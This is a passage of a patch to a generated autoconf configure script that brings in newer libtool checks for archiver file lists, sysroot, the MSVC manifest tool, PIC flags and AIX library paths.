++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -7764,8 +8077,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7801,6 +8114,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7842,6 +8156,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7853,7 +8179,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -7879,8 +8205,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -7890,8 +8216,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -7928,6 +8254,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -7946,6 +8280,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -8155,6 +8530,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -8718,6 +9210,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8788,6 +9282,16 @@ done
+
+
+
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++
++
++
+
+
+ # Set options
+@@ -9273,8 +9777,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -9440,6 +9942,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -9502,7 +10010,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -9559,13 +10067,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -9626,6 +10138,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9976,7 +10493,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -10075,12 +10593,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -10094,8 +10612,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -10113,8 +10631,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -10160,8 +10678,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -10291,7 +10809,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -10304,22 +10828,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -10331,7 +10862,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -10344,22 +10881,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -10404,20 +10948,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -10478,7 +11065,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -10486,7 +11073,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -10502,7 +11089,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -10526,10 +11113,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
